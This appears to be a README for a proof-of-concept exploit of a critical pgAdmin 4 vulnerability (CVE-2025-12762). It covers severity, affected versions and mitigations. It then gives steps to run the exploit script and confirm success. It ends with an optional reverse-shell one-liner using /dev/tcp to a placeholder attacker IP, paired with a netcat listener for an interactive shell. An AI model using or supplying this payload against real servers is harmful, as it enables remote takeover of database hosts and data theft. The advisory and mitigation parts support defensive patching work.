## ⚙️ Technical Breakdown
### 📡 Attack Vector
* **Network-based** — can be exploited remotely 🌍
* **Low complexity** — straightforward to trigger 🧩
* **Low privileges required** — limited user access is enough 🔑
* **No user interaction** — once triggered, no one has to click anything 🙅♂️
* **Scope: Changed** — compromise can spread beyond the vulnerable module 🔄
### 🧨 Impact
* **Confidentiality: High** — data exposure risk 🔓
* **Integrity: Moderate/High** — unauthorized changes possible ✏️
* **Availability: Moderate** — operations can be disrupted ⚠️
### 🏷 CVSS Score
🟥 **9.1 / 10 — Critical**
---
## 🛠 Affected Versions
* pgAdmin 4 **≤ 9.9** ❗
---
## 🛡 How to Fix It
### ✅ Primary Mitigation
⬆️ **Upgrade to pgAdmin 4 v10.0 or later**
### 🚧 If You Can’t Upgrade Immediately
* 🔒 Restrict access to the pgAdmin server
* 📁 Allow *only trusted admins* to restore dump files
* 🧪 Validate dump files before restoring
* 👀 Monitor logs for suspicious restore activity
* 🌐 Use firewall rules / VPN to limit exposure
---
## 📌 Why This Matters
pgAdmin is often used for **administration of critical PostgreSQL databases**, meaning:
* An attacker exploiting this can **take over the server**,
* Access or modify data,
* Or even pivot deeper into your network 🕵️♂️

## ✨ How to Run (2 minutes)
```bash
# 1. Save as CVE-2025-12762.py
# 2. Install dependency
pip3 install requests
# 3. Run it
python3 CVE-2025-12762.py
```
### Proof of Success
After running, check:
```bash
docker exec <your-pgadmin-container> ls -la /tmp/CVE-2025-12762_PWNED
```
File exists → **You just exploited CVE-2025-12762 for real.**
### Reverse Shell One-Liner (optional)
Replace the `COMMAND` line with:
```python
COMMAND = "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"
```
Then `nc -lvnp 4444` → full interactive shell.
